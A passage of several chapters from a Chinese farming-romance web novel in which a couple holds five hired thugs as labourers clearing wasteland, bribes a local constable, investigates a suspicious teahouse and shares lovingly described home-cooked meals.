接下来的日子,小院看似恢复了往日的宁静,实则暗流涌动。
那五个被捆成粽子丢了一夜的混混,天刚亮就被冷水泼醒,连口热粥都没给,直接带着伤,让傻根押去了后山脚。
疤脸起初还想耍横,被傻根拎着镐把“轻轻”点拨了两下,又看着另外四个鼻青脸肿的同伴,终于认清现实,垂头丧气地开始刨地。
傻根也不多话,只抱臂站在不远处的高坡上,目光如同盯梢猎物的鹰隼,手里把玩着几颗棱角尖利的石子。
谁的动作稍慢,一颗石子便精准地打在其脚边,激起一小撮尘土,惊得人魂飞魄散。
荒地上乱石遍布,杂草荆棘丛生。
五个人没过半天就手上磨出了血泡,腰酸背痛,叫苦不迭。
但想到柴房里赵长风那双毫无温度的眼睛,以及傻根那身骇人的力气,谁也不敢真的偷懒。
林若若每日会去送一次午饭——几个掺了麸皮的粗粮窝头,一罐子寡淡的菜汤。
这待遇比他们当混混时还不如,可干着最重的体力活,腹中饥火灼烧,也只得狼吞虎咽下去。
“我嫂子心善,还给他们送吃的。”有一次,傻根闷声道。
林若若看着远处那五个挥汗如雨、形容狼狈的身影,轻轻摇头:
“不是心善。饿**,谁给我们开荒?既要榨他们的力气,总得吊着一口气。何况……”
她目光微冷,“留他们活着,或许还有用。对了,傻根兄弟告诉他们,谁干的好,干的卖力,当
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天晚上有肉吃!”
傻根立刻去告诉了几人,他们干活更卖力了。
赵长风则白日里多半不见人影,有时进城,有时在附近山林转悠。
他肩上的伤在林若若每日掺了足量灵泉水的精心照料下,愈合得极快,痂皮脱落,新生的皮肉微微泛红,已无大碍。
这日晚饭后,赵长风带回一个油纸包,里面是几块镇上买的桂花糕。
他推到林若若面前:“尝尝。”
林若若拈起一块,香甜软糯,她眯起眼笑了笑,又将另一块递给眼巴巴望着的傻根。
“破庙那边,有动静了。”
赵长风声音压得很低,等傻根憨笑着捧着糕点出去守门,他才继续道,
“接应的人空等了两日,昨夜已经撤了。我远远缀着,那人最后进了城南一家不起眼的茶楼,那里……常有府城来的行商落脚,背景复杂。”
林若若咽下口中的甜香,眼神清亮:“何美美的手,伸得真长。她一个刚刚回到侯府的嫡女,能动用这些?”
“她未必有这般能耐,但侯府有。”
赵长风指尖轻叩桌面,“此事未必是她一人之意。或许,是侯爷,或是侯府里别的什么人,借她的手来试探,或者……清除。”
这个猜测让林若若心头一凛。
如果真是侯府上层的意思,那他们的处境远比想象中更危险。
“我们也不能总是被动挨打。”
林若若沉吟片刻,“既然知道了茶楼,是否能反向摸一摸?比如,查查最近有哪些‘行商’与侯府有过接触?”
赵长风眼中闪过一丝赞赏:“正有此意。不过此事需格外谨慎,不能打草惊蛇。我已有计较。”
他看向窗外渐沉的暮色,语气沉静却带着一股蓄势待发的力量:
“荒地的草总要一根根拔,暗处的蛇,也得一条条引出来。先让那几个人把力气耗在石头上,磨掉戾气。其他的,慢慢来。”
夜风拂过,带来山间微凉的草木气息。
把几个孩子哄睡,偷偷把小白收进空间,林若若在舒适的大床上沉沉睡去……
第64章 开荒~
县城。
赵长风离开之后,傍晚捕头王朗果然带着自己的心腹手下来到了“鼎丰楼”。
到了“鼎丰楼”门口,两个门口招呼的小二立刻把白毛巾甩到肩上满脸笑意地迎上来:“贵客王捕头来了,快快请进!”
鼎丰楼二楼雅间,王捕头王朗与几个心腹弟兄围坐一桌。
桌上已摆了几碟冷盘,盐水毛豆、酱牛肉、凉拌三丝,还有一壶烫得正好的高粱烧。
王朗捏起一粒毛豆丢进嘴里,嘬了口酒,才环视一圈,压低声音道:
“今儿这顿,是赵家村赵长风的心意。他家里进了几只不长眼的老鼠,顺手收拾了,补了身契。这事儿,弟兄们心里有数就行。”
旁边一个精瘦的衙差立刻笑道:“头儿放心,赵兄弟是个懂事的,咱们自然晓得轻重。来,敬头儿一杯!”
几人碰杯,一饮而尽。
另一个年纪稍长的衙差沉吟道:
“头儿,赵猎户那伤……我看可不轻。寻常流民乞食,能把他伤成那样?而且一次五个壮汉,还都是练家子的做派……”
王朗夹了片酱牛肉,慢慢嚼着,络腮胡子随着咀嚼微微颤动。
“别瞎逼逼。”
他放下筷子,声音压得更低,“那是上次进山剿匪受的伤!其他莫要多问,也莫要出去乱说,一旦走漏了风声,我也保不了你们。”
被称作老吴的衙差倒吸一口凉气:“原来那人是他?!”
王朗抬手止住他的话头,眼神在昏黄的油灯光下显得有些深邃:
“知道就好。以后他就是我兄弟。”
“明白!明白!”几人赶紧提了一口。
他顿了顿,嘴角扯出一丝意味不明的笑,
“他自己会制伤药,可是实打实的好东西。上次剿匪受伤的弟兄用了,愈合得比官中给的金疮药快得多。这人,有点意思。”
几人正低声说着,伙计端着热气腾腾的硬菜上来了——红烧肘子、清蒸鲈鱼、八宝葫芦鸭,香气顿时弥漫开来。
“吃菜吃菜!”王朗招呼着,仿佛刚才的对话从未发生。
酒过三巡,菜过五味,气氛热闹起来。
王朗多喝了几杯,黑脸膛上泛着红光,话也多了些。
“这赵长风,是个有能耐的。”他打着酒嗝,拍着老吴的肩膀,“往后他若有什么事寻到衙门,只要不犯王法,能帮衬的,都帮衬一把。这年头,多条路子,多个照应。”
“头儿说得是。”众人附和。
王朗眯着眼,望着窗外县城的点点灯火,声音含糊却带着几分清醒的冷意:
“咱们这清水衙门,平日也就管些鸡毛蒜皮。真碰上那些……树大根深的,也得掂量掂量。赵长风这事儿,透着蹊跷,但也未必不是个机会……”
他没再说下去,但桌边几人都是跟着他多年的老油子,彼此交换个眼神,心里都有了谱。
这顿饭吃到月上中天才散。
王朗被两个弟兄搀着,摇摇晃晃往家走。
夜风吹在发热的脸上,他混沌的脑子清醒了些,回头望了一眼鼎丰楼的方向,又似乎透过黑夜,望向城外那许多的山村。
“兄弟,保重……”他含糊地嘟囔了一句,摆了摆手,“走吧,回家。”
回到家,他已经喝的迷迷糊糊的,躺床上呼呼大睡去了。
赵家村。
夜色已深,万籁俱寂。
后山方向隐约传来几声夜枭的啼叫,更添幽静。
林若若躺在柔软却不怎么暖和的床上,却没什么睡意。虽已是春日,但夜里仍旧不暖和。
林若若借着去灶房看炉子的空儿,闪身去空间找了几个暖水袋出来,灌上水,给每个孩子被窝里都塞了一个。
之后,抱着一个回了自己的被窝,偷偷抱在怀里。
身畔,赵长风呼吸均匀绵长,但她知道他也没睡着。
“长风。”她轻声唤道。
“嗯。”
“王捕头那边……可靠吗?”
赵长风在黑暗中睁开眼,眸光清亮:
“王朗此人,圆滑世故,但骨子里有几分旧式衙役的义气,也懂得权衡利弊。只要利益一致,暂时可靠。今日我送去的药,还有那桌酒席,便是‘利’。他收了,便是默许。”
“那侯府…
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…”
“侯府势大,但天高皇帝远,手暂时还伸不到这偏远县城的每一个角落。王朗是地头蛇,县衙便是他的地盘。我们如今在他那里过了明路,何美美再想通过官府明着施压,便要多费周章。”
赵长风翻了个身,面向林若若,低沉的嗓音在夜色里格外清晰:
“当然,这并非万全。真正的安危,终究要靠我们自己。开荒,既是惩罚,也是掩饰。那五人困在后山,与世隔绝,便是断了何美美探查的眼线。而我在外,也能放开手脚。”
林若若微微颔首,
“我明白。家里你放心,我会看好。药材我都备着,灵……药水也充足。你自己在外,一切小心。”
黑暗中,赵长风慢慢将她微凉的手包裹进自己温热粗糙的掌心,用力握了握。
“睡吧。”他道,“明日,荒地里的石头,还得有人去啃。”
窗外,月色如水,悄然漫过窗棂,在小屋地上投下一片清辉。
远处后山脚下,临时搭起的窝棚里,五个疲惫不堪的身影在草堆上辗转,呻吟,磨破的手掌和酸痛的筋骨在寂静中被无限放大。
疤脸盯着漏进几缕月光的棚顶,眼神空洞。
他想起了茶楼里那个戴着斗笠、声音尖细的接头人,想起了对方许诺的丰厚赏钱,也想起了赵长风那双冰冷无波、仿佛能洞穿一切的眼睛。
开荒……这无边无际的石头地,真的要这样一镐一镐地挖下去吗?
他打了个寒颤,不敢再想下去,只将身子往粗糙的草堆里缩了缩。
窝棚外,傻根抱着镐把,靠着一块大石头,如同融进了夜色里的山岩。
他耳朵微动,听着棚里压抑的呼吸和细微动静,黝黑的脸上没有任何表情,只有那双在暗夜里依然清亮的眼睛,偶尔闪过一丝野兽般的警醒。
夜风穿过山坳,带来远山深处若有若无的狼嚎。
今夜在这里再睡一夜,风哥说了,以后晚上就把这五个货带回家里就行。
想到这里,傻根美美地闭上了眼睛呢。
嫂嫂说了,明日早上,吃鸡汤馄饨……
第65章 “财产~”
清晨,鸡鸣未起,薄雾还像一层轻纱笼罩着赵家村。
林若若已经轻手轻脚地起身,灶膛里的火重新生起,橘红色的火光映着她沉静的面容。
昨晚临睡前发的面已经饧好,她熟练地揉搓、揪剂、擀皮,从空间取出的新鲜猪肉混着葱姜剁成的馅料香气隐隐透出。
大锅里,昨晚就煨上的老母鸡汤正咕嘟咕嘟冒着细密的小泡,金黄的油星浮在乳白色的汤面上,鲜香随着蒸汽弥漫开来。
傻根在天光微亮时就醒了,他先到窝棚边,用脚尖踢了踢疤脸的小腿。
“起来,捆上,回去。”声音瓮声瓮气,不容置疑。
五个混混在硬板一样的草堆上蜷缩了一夜,浑身骨头像散了架,被清晨的寒气一激,更是抖得如同筛糠。
他们敢怒不敢言,默默伸出手脚,任由傻根用粗糙的麻绳重新捆好手腕,串成一串,踉踉跄跄地被牵回小院,重新关进阴冷的柴房。
“馄饨好喽!”林若若的声音带着暖意传来。
傻根眼睛一亮,立刻把柴房门锁好,蹿到灶房门口。
只见一大海碗飘着油花、撒着葱花的鸡汤馄饨已经摆在桌上,皮薄馅大,透过半透明的面皮能看见里面粉嫩的肉馅,令人食指大动。
赵长风也已起身,正在院子里用冰冷的井水洗漱。
冰凉的水扑在脸上,驱散了最后一丝睡意,肩胛处的伤口传来微微的麻痒,那是新肉在生长的感觉。
林若若敲了敲门,进了孩子们的房间。
“孩子们,起床了~”
林若若进了门,发现一眼就能看到孩子们在床上的样子。看来得给他们装上床帐了。
“赵林,把赵峰喊起来你们自己穿好衣服。”林若若一边嘱咐,一边去小静的床上把她叫醒。
“娘,我自己就能起来!”
他回到屋里,看着桌上热气腾腾的馄饨,又看看围着桌子眼睛发亮的三个孩子,冷峻的眉眼柔和了一瞬。
“都吃吧。”
他坐下,先给林若若碗里舀了几个,又给孩子们分好,最后才轮到自己和傻根。
吸饱了鸡汤的馄饨鲜美异常,面皮滑嫩,肉馅弹牙。
一家人默默吃着,只闻细微的吸溜声和勺碗轻碰的脆响。
这寻常的早餐,在这危机暗伏的清晨,显得格外珍贵安宁。
柴房里,五个被绑着的人闻着隐约飘进来的香味,肚子不争气地咕噜作响,嘴里发苦,只能舔舔干裂的嘴唇。
饭后,赵长风将傻根叫到一旁,低声吩咐:
“今日你依旧带他们去后山。不必催促太紧,但也不能让他们闲着。重点是把靠近溪水那块地方的碎石清出来,我另有用处。”
傻根用力点头:“风哥放心,我看着他们。”
“还有,”赵长风目光扫过柴房,“留意那个疤脸,他心思最活。若有异动,不必客气。”
“晓得了。”傻根捏了捏拳头,骨节发出轻微的咔吧声。
赵长风又转向林若若:“我今日再去县城一趟,探探那茶楼的底。家里……小心门户。”
林若若将他昨日换下的、染了血的旧衣仔细包好,又塞给他一个装着干粮和一小瓶“药水”的布包,低声道:“你也小心。若事不可为,先回来。”
赵长风接过布包,手指在她手背上短暂地停留了一下,触感微凉而坚定。
他没再多言,转身出了院子,身影很快消失在村口蜿蜒的小路上。
林若若站在院门口,直到看不见他的背影,才轻轻呼出一口气,转身开始收拾碗筷。
阳光渐渐驱散晨雾,洒在小院里,暖洋洋的。
她将孩子们打发去温**功课,自己则拿了针线箩,坐在屋檐下,一边缝补赵长
风刮破的外衫,一边留意着周围的动静。
小白安静地趴在她脚边,耳朵不时转动一下。
后山脚下,镐头撞击石头的“叮当”声,再次有气无力地响起。
疤脸机械地挥着镐,虎口处昨日磨出的血泡已经破了,黏在镐柄上,每一下都钻心地疼。
他偷眼看了看不远处的傻根,那高大如山的身影一动不动,目光却像黏在他们背上。
他又看看另外四个同伴,个个面如土色,眼神麻木。
“大哥……”旁边一个瘦猴似的混混
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蹭过来,声音嘶哑,“咱、咱真就这么挖下去?这得挖到猴年马月……”
疤脸啐了一口带血的唾沫,压低声音,眼里却没了昨日的不甘,只剩下深深的忌惮和疲惫:
“不挖?你想试试那傻大个的拳头,还是想被扔进山里喂狼?姓赵的不是善茬,那晚你没看见他的眼神?那是真敢**的主!”
瘦猴打了个哆嗦,不敢再言语。
疤脸望向县城的方向,心中最后一点侥幸也熄灭了。
接头人没等到他们,会不会以为他们卷款跑了?
或是……折了?
侯府会为了他们几个无足轻重的混混大动干戈吗?
答案几乎可以预见。他们如今,真的成了这荒山野地里无人问津的“私产”,生死荣辱,皆系于那对年轻夫妻一念之间。
他闭了闭眼,再睁开时,只剩一片死灰。
举起沉重的镐头,狠狠刨向一块顽固的石头,火星四溅。
晌午,林若若提着篮子来送饭。
依旧是粗糙的窝头和清汤,但今日多了一小碟咸菜疙瘩。
她把篮子放在傻根旁边的高石上,目光平静地扫过那五个瘫坐在地上喘气的人。
“下午把溪边那块地的碎石搬到东边堆起来,清理干净了,晚上有热汤面。”她的声音不大,却清晰地传入每个人耳中。
没有许诺,没有威胁,只是平淡地交代活计和……食物。
疤脸猛地抬头,浑浊的眼睛里闪过一丝极细微的光。
热汤面……他有多久没正经吃过一顿热乎饭了?
他舔了舔干裂的嘴唇,没说话,只是默默抓起了窝头,狼吞虎咽起来。
另外四人见状,也纷纷埋头猛吃。尽管食物粗粝,但至少能填饱肚子,支撑他们继续这无望的苦役。
林若若看着他们,心中并无太多波澜。
她不是圣母,对欲伤害自己家人的人难生怜悯。
但这五人如今已是劳力,是“财产”,适当的食物和一点点渺茫的盼头,比单纯的鞭打更能压榨出他们的力气,也更能磨去他们的反骨。
恩威并施,这是赵长风昨夜与她商议过的~
第66章 打探~
赵长风赶着自家的骡车,晌午前便赶到了县城。然后找了一个车马行,把骡车停在了那里。
他没有直奔那间茶楼,在隔着一条街的巷口驻足观察。
茶楼幌子在风里懒洋洋地飘着,进出的人三教九流,跑堂的伙计脸上堆着千篇一律的笑,看不出任何异样。
他在街对面的面摊坐下,要了碗素面,慢吞吞地吃着,目光似不经意地扫过茶楼门口。
半个时辰里,只见几个寻常商贾进出,并未见到预想中形迹可疑或是隐约透着贵气的人物。
面汤见底,他放下几枚铜钱,起身走向茶楼。
大堂里人声嘈杂,说书先生正唾沫横飞地讲着前朝演义。
赵长风寻了个靠窗的角落坐下,点了一壶最便宜的茶。
“客官,您慢用。”伙计殷勤地斟上茶,那笑容挑不出一丝错处,却也看不出任何特别的意味。
赵长风呷了一口粗涩的茶汤,指尖在粗糙的陶杯上摩挲。
他试探着向伙计打听,是否见过一位下巴有痣、操着外地口音的客商,伙计只是摇头,说每日人来人往,记不清了。
又问近日可有生面孔常来,伙计仍是笑着打哈哈:“客官说笑了,咱们这儿开门做生意,来的都是客,哪分生熟面孔呢?”
滴水不漏。
赵长风心知,这茶楼即便真是那侯府的耳目,也绝非表面这般简单。
自己一个生面孔贸然深探,只怕打草惊蛇。
他不再多问,将壶中茶水饮尽,便起身离开。
走出茶楼时,阳光正烈,刺得他微微眯眼。
线索似乎在此断了,但他心中那根弦并未放松。
对方越是藏得深,越是说明所图不小。
他没有立刻出城,拐进了城西一条僻静的巷子,在一扇毫不起眼的黑漆木门前停下。
这里是他一位故人的老宅,如今只剩一位看房子的老苍头。
有些消息,明面上的茶楼酒肆打听不到,或许这些看似边缘的旧人,反而能捕捉到一丝风声。
约莫一个时辰后,赵长风才从巷子另一端悄然离开,脸上看不出喜怒,只是眸光比来时更深沉了些。
他便不再耽搁,径直去了车马行,然后赶着自家的骡车,先去镇上接上赵林赵峰,然后朝赵家村而去。
夕阳快要下山的时候,他才堪堪踏进家门。
林若若在灶房里听见声音,在围裙上擦了擦手,眉眼弯弯,赶紧迎了上去,
“你回来啦?”
一路的辛劳,在看见林若若笑脸的刹那,全都消失不见了。
“嗯,回来了。”他自己都没有察觉,自己的声音软得要命~
“娘亲!”紧接着,赵峰的小脑袋就从车上探出来。
然后,赵林从车里下来,看了一眼赵长风有些冷峻的脸,小声喊了一句:“林姨~”
“下车慢点。”林若若点点头,然后看向赵长风,
“盆里有水,你带孩子们洗个手,换身衣裳,一会儿吃饭。”
“嗯。”
井边木盆里盛着清澈微温的水,赵长风弯腰,掬起水扑在脸上,洗去一路风尘和心头的些许沉郁。
冰凉又带着阳光余温的水划过皮肤,让人精神微微一振。
他刚直起身,用布巾擦着脸,院门外就传来沉闷的脚步声。
是傻根领着那五人回来了。
甲一(疤脸)走在最前,步履蹒跚,甲二、甲三、甲四、甲五依次跟在后面,个个灰头土脸,衣衫被汗水和泥土浸得看不出原色,手腕上粗糙的麻绳磨出了一圈红痕,在昏暗的天光下有些刺目。
他们低垂着头,不敢乱看,被傻根沉默地驱赶着,重新关进了阴冷潮湿的柴房。
落锁的“咔哒”声清晰传来。
赵长风只看了一眼,便收回目光,将布巾搭在晾衣绳上。
“风哥,你回来啦!”傻根冲着赵长风露出了白了许多的牙。
嫂嫂来了之后,要求所有人早晚都要用柳条刷牙,然后每天要洗脚,否则没有饭吃。
“嗯,回来啦!他们几个听话吗?”
“敢不听!我揍死他们!”傻根兴奋地挥舞着拳头
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灶房里,林若若早就忙碌起来。
橘红色的灶火映亮了她半边沉静的面容,大铁锅里的水正将沸未沸,发出细微的“嘶嘶”声。
今晚喝杂米粥。她把米淘洗两遍后,将沥干水的杂米倒入旁边一口更大的陶罐里,加入足量的井水,盖上木盖,移到灶膛侧边温度稍低但持久的位置,用文火慢慢煨煮。
这样煮出来的粥,米粒会彻底开花,米油尽出,口感绵滑稠厚,最是养胃。
这会儿已经滚了,散发着浓浓的米香。
接着,她从墙边半人高的瓦瓮里舀出几勺泛着微黄的精白面粉,同样倒入一个宽口的陶盆。
昨天发面留下的一小块老面酵头,已经在温水里化开,呈现出丰富的蜂窝状。
她将酵水缓缓倒入面粉中,白皙的手指灵活地搅拌、揉搓,力道均匀。
渐渐地面粉聚合成团,再经过反复的揉、揣、摔打,变得光滑而富有弹性。
她将面团拢圆,放回盆中,盖上湿润的麻布,置于灶台温暖的角落,让面静静饧发。
做完这些,她走到院角,那里挂着一只昨日傻根在后山套到的肥硕野鸡,已经褪**洗净。
林若若取下野鸡,想要把它剁开,赵长风大步迈进来,“我来!”
之后,接过菜刀,在案板上利落地把野鸡剁成大小均匀的块。
看着已经空了的手,林若若的嘴角无声地弯了起来,她没有注意的是,赵长风的耳朵已经红了~
把剁好的鸡块冷水下锅,加入几片姜和一点粗酿的黄酒,烧开后撇去浮沫。
焯好水的鸡块捞出,用温水冲洗干净,沥干备用。
此时,傻根已经自觉过来烧火了。
林若若另起一口炒锅,烧热后加入一小勺自家炼的猪油。
猪油很快融化,冒着清亮的油光。她抓了一把晒干的野山菌(主要是榛蘑和少许松茸)和几片泡软的野木耳,投入锅中,小火煸炒。
干菌特有的浓郁香气立刻被激发出来,混合着猪油的荤香,弥漫了整个灶房。
第67章 人间烟火
此时,灶房里全是扑鼻而来的香气~
待菌子炒出香味,微微发干,林若若(将沥干的鸡块倒入,转大火,快速翻炒。
鸡皮在热力下微微收缩,泛起金黄,油脂被逼出,与菌香、油香热烈地交融。
烹入少许黄酒,“嗤啦”一声,白汽蒸腾,酒香瞬间升华了所有味道。
接着加入足量的热水,水面没过所有食材,再扔进几段葱白、两片老姜、一小把花椒。
大火烧沸后,她撇去汤面最后一点浮油,将整锅鸡连汤带料转入一个厚重的砂煲中,盖上盖子,挪到灶膛里侧,那里炭火正红,热度稳定而持久。
剩下的,便交给时间。
让野鸡的鲜美与山野菌菇的醇厚,在文火的慢煨中一点点渗透、交融,直至汤色转为诱人的浅金棕色,鸡肉酥烂脱骨,菌菇吸饱了汤汁。
趁着炖鸡的功夫,林若若拿起一个小竹篮,上了屋后的菜畦边。
此时,正是春日,地里各种野菜正长得生机勃勃。
荠菜,马齿笕,蒲公英,苦菜,面条菜……各种嫩绿的蔬菜翠绿诱人。
快速地挖了小半篮,林若若回了院里。结果刚进门,就被赵长风的大手接了过去~
看着赵长风坐在院子里择野菜的身影,林若若眼眶有些泛红,她看着他满脸的络腮胡子,轻轻喊了一声:
“赵长风!”
正在择菜的赵长风顿了一下,之后抬起头,看着院子门口亭亭玉立的少女,穿着青绿色的交颈襦裙,俏生生地立着,沐浴着夕阳的霞光,美得好似不食人间烟火的仙子。
他的心跳得好快!
“赵长风!”林若若看着他呆呆的,就又喊了他一遍。
“我在,怎么了?”赵长风赶紧红着脸,回过神来。
“把菜择干净,再洗一下。”林若若有一点点粗糙的手,揪紧了身侧的裙摆。
“好,知道啦。”赵长风眉眼含笑。
“要洗干净!”
“好!”
林若若红着脸快步回到灶房,将鸡块翻炒了几下,又看了看灶上正在熬的粥,让自己显得很忙碌。
过了一会儿,赵长风把菜择好、洗干净了。
林若若把洗净的野菜在滚水中快速焯烫一下,捞出立刻浸入凉水,以保持其翠绿的色泽和爽脆口感。
沥干后,放在案板上切成寸段,装入一个大碗。
撒上一点细盐,淋上几滴芝麻油,再拍上几瓣院子里新长出来的新蒜,简单一拌,野菜特有的清冽微苦与香油蒜末的辛香结合,便成了一道清爽开胃的小菜。
这时,盆里的面团已经饧发至原来两倍大,内部充满了细密的气孔。
林若若在案板上撒了层薄面,将面团取出,再次揉搓排气,然后分成大小均匀的剂子,双手配合,揉搓成圆润光滑的馒头生坯。
笼屉铺上洗净的湿笼布,将馒头坯间隔摆放进去,盖上笼盖,放在炖着鸡的砂煲旁边,利用灶膛的余温进行二次饧发。
约莫一刻钟后,馒头坯变得轻盈饱满,她便将笼屉架到烧开水的锅上,大火足汽,开始蒸制。
蒸汽氤氲中,馒头的麦香渐渐透出来,霸道地挤进每个人的鼻腔。
砂煲里的野鸡炖蘑菇,也到了火候。
她掀开盖子一角,浓郁到化不开的香气轰然涌出,带着山野的精华与时间的沉淀。
汤汁金黄微稠,鸡块酥烂,菌菇肥厚,油脂形成细密的油花,在汤面上轻轻晃动。
她将砂煲小心端离火源,放在灶台边的厚木垫上。
蒸笼也到了时间,熄火后稍焖片刻,再揭开,一笼胖乎乎、白生生、表皮光滑的馒头呈现在眼前,热腾腾的蒸汽带着最朴实的粮食芬芳。
杂米粥早已熬好,米汤浓稠,米粒几乎融化。
她将粥盛入陶盆,馒头捡到竹编的笸箩里,野鸡炖蘑菇整煲端上,凉拌野菜也淋上最后一点醋汁拌匀。
“吃饭了。”她朝屋里唤了一声。
屋里,赵林正带着赵峰在写大字,听到林若若喊,赵峰立刻应道,
“娘亲,知道啦!”
旁边正在玩积木的赵小静,一听二哥这样说,也学
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着赵峰的语气,奶声奶气地回道,“娘亲,知道啦!”
赵林看了一眼不争气的弟弟妹妹,也回了一句,“来了。”
他是三个孩子中年纪最大的孩子,记得许多之前的事情。
但随着岁月的流逝,亲生母亲的容颜却在他的脑海中渐渐淡去,而时常浮现在眼前的,确实灶房里,那个和自己毫无血缘关系的少女。
赵长风帮着将饭菜摆上堂屋的方桌。
杂米粥温热适口,馒头松软微甜,蘸着浓香的鸡汤吃是绝配。
野鸡肉炖得骨酥肉烂,菌菇吸饱了汤汁,咬下去鲜香满口,带着山野的独特风味。
凉拌野菜清脆爽口,正好解了鸡汤的丰腴。
一家人围坐,就着窗外渐浓的暮色和柴房里隐约传来的、属于另一重天地的寂静,安静地享用着这顿简单却用足了心思的晚饭。
是的,一家人。
傻根已经是家人了。
食物的温暖与美味,无声地熨帖着奔波后的疲惫与暗藏的心事,将这农家小院的夜晚,烘托得踏实而安宁。
吃到最后,连汤都蘸着馒头吃了。
幸好,林若若提前留了一碗汤,再兑上热水,每人半碗汤,一个窝头。
即使这样,也把五个人香迷糊了~
这夫人做的饭太好吃了!
今后可得好好干活去!
因为今天干的最卖力的甲四,碗里居然还有一块鸡屁股!
第二日,天刚蒙蒙亮,林若若便醒了。
她心里惦着事,动作比往日更轻快。
先是从空间里取出六个青皮咸鸭蛋,放在灶台边,又舀出小半罐精白米。
赵长风肩伤未愈,孩子们念书也耗神,总吃粗粮不行。
大锅里煮上粥,小米混着白米,不多时便咕嘟咕嘟冒出带着米香的白汽。
另一口小点的铁锅烧热,用肥肉膘擦出薄薄一层油,调好的面糊勺入锅中,“滋啦”一声轻响,用锅铲轻轻一转,便摊成一张圆润薄匀的鸡蛋饼,边缘微焦,内里嫩黄,蛋香混合着面香,立刻飘散开来~
第68章 悔不当初
咸鸭蛋洗净,冷水下锅煮熟。
捞出来过凉水,放在案板上,菜刀沾了水,利落地一刀切下,“咔嚓”一声轻响,青白的蛋白裹着红亮流油的蛋黄便露了出来,咸香扑鼻。
六个鸭蛋,切成了十二瓣,整整齐齐码在粗陶盘里,看着就让人食欲大开。
“赵林,赵峰,小静,起床吃饭了!”林若若朝屋里唤道。
三个孩子揉着眼睛出来,看到桌上不同于往日的早饭,眼睛都亮了。
“大米粥!好香!娘亲做的饭真香!小静都长胖了!”小静扒着桌沿,使劲嗅了嗅。
“还有蛋饼!”赵峰眼疾手快,伸手就想抓,被赵林拍了一下:“洗手去!”
赵长风洗漱完坐下,面前也被林若若推过来一碗稠粥,两张叠着的蛋饼,还有两瓣油汪汪的咸鸭蛋。
他看了她一眼,没说什么,但眉眼间多了几许的柔和。
低头喝了一口粥。
米粒熬得开花,软糯甘香,顺着喉咙滑下,暖意直达胃里。
蛋饼松软,咸鸭蛋的油润恰到好处地中和了清淡。
一家人安静地吃着,只偶尔有碗筷轻碰和赵峰满足的吸溜声。
柴房那边,五个被捆着的人也醒了,闻着这随风飘来的、远比昨日窝头诱人得多的食物香气,肚子叫得更加响亮,嘴里干得发苦,只能眼巴巴望着透进门缝的那一线天光,想象着那热粥蛋饼的滋味。
早饭后,赵林赵峰背着书袋去学堂。
林若若给他们准备午食的挎包里,除了往常的水囊,还多了个饭盒。
是林若若从空间找出来的。
饭盒里面一半是是压得实实在在的白米饭,另一半,则是金红诱人的西红柿炒鸡蛋,汤汁微微浸透了些许米饭;
每个饭盒里,还有一只酱色油亮的卤鸡腿,是用空间里的香料和酱油慢慢焖煮出来的,肉质酥烂,香气扑鼻,看着就让人口舌生津。
“午饭记得和同窗分着些吃,别吃急了。”林若若嘱咐道,又摸了摸他们的头,“好好念书。”
两个孩子用力点头,背着沉甸甸的挎包,脚步都带着雀跃。
送走孩子,林若若开始准备一家人的午饭和那几个“劳力”的吃食。
给傻根和赵长风的,自然也是米饭和西红柿炒蛋,还有卤鸡腿,分量足实。
就连小白都分到了一只不加盐的卤鸡腿~
傻根吃了一口西红柿炒鸡蛋,眼睛立刻就亮了起来,“嫂嫂,这是什么菜?太好吃了!”
正在盛饭的林若若顿了一下,之后眨了眨眼睛,看着傻根说,
“是我在山脚下下的灌木丛偶然发现的,没想到这么好吃,因为是红色的果子,我就先叫它红果了。这个菜叫红果炒鸡蛋。”
傻根皱了皱眉头,粗糙的脑瓜用力想着,“可是,我从小就在山里长大,怎么从来没有见过这种果子……”
“先吃饭吧!这么好吃的饭菜也堵不住你的嘴?!”傻根没说完,就被赵长风狠狠扫了一眼。
傻根就乖乖吃饭去了。
赵长风眼神闪了闪,低下头大口吃饭去了。
至于正在开荒的那五位,依旧是粗糙的窝头,只是今日的菜汤里,她难得地飘了几点卤鸡腿的油花,还扔进去几片野菜叶子。
当晌午的饭食分别送进到山上,还有端上自家饭桌时,那鲜明的对比,与空气中无法完全隔绝的、若有似无的卤鸡腿和炒蛋的香气,便成了一种无声的敲打。
疤脸接过冰凉梆硬的窝头,听着身边隐约传来的、傻根正在大快朵颐的满足声响,闻着那勾魂摄魄的肉香,再看看眼前清汤寡水的菜汤,喉结剧烈地滚动了一下,心底最后那点不甘与侥幸,似乎也在这极致的感官对比中,一点点被磨蚀殆尽。
他狠狠咬下一口窝头,粗糙的颗粒刮过喉咙,混着莫名的酸涩,囫囵咽下。
这倒霉催的日子!
都是侯府那个该死的女人!
他偷偷跟踪过那个丫鬟,发现她进了永平侯府的后门。
后来,他在后门那里蹲了几天,终于蹲到了何美美和那个丫鬟一起出门呢!
原来就是她!
长的跟个黄面土
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包子似的,那么丑,心眼还那么坏!
后来疤脸也去打听过,原来这何美美是从乡下换回来的!
难怪人又丑又坏!
狠狠咬了一口窝头,自己和手下兄弟混到如今这个份上,疤脸恨不得生吃了何美美!
如今落到这个田地,跑又跑不了,打又打不过,沦落到这荒山野岭,真是叫天天不应,叫地地不灵!
想到家中的老娘,疤脸红了眼眶。
早知今日,何必当初!
傻根吃完,就带着五人继续进山开荒去了。
赵长风吃完,林若若又给他换了一遍药,伤口已经长**,再养上几日,就能彻底痊愈了。
林若若终于松了一口气。
“我出去一趟,午饭不用等我。在家里关好门。”赵长风还是有些担心。
“好,知道啦。”
赵长风赶着骡车走了,林若若把家里收拾了一下,有些累了,就从空间里弄了一些沙子出来,找了一套小桶小铲子,让小静玩沙子去了。
自己也坐在旁边,泡了杯咖啡慢慢喝着。只是这凳子,没椅背靠不说,还到处硬邦邦的。
不喜欢!
想念空间里的沙发,柔软的沙发,软软的沙发~
“长风在家吗?”
门外传来一个有些熟悉的声音
林若若一听,是村里的赵木匠!
“来了,赵叔!”林若若快走几步,从门缝里往外看了一眼,的确是老赵头带着他的两个儿子,来送打好的书柜来着。
林若若连忙打开院门,笑着将人迎进来:“赵叔,快进来!长风他刚好出去了,东西送来了?真是辛苦你们了!”
老赵头带着两个儿子,嘿呦嘿呦地将骡车赶进院子。
车上装着打好、刷好清漆的书柜、两张书桌和两把椅子,都用粗麻布仔细盖着防尘。
“不辛苦,不辛苦,说好了今儿个送来的。”老赵头笑得憨厚,指挥着两个儿子,“小心些,别磕着门槛。”
赵叔的两个儿子笑呵呵地应了一声,然后利落地卸车,抬着家具往屋里里搬。
第69章 大白~
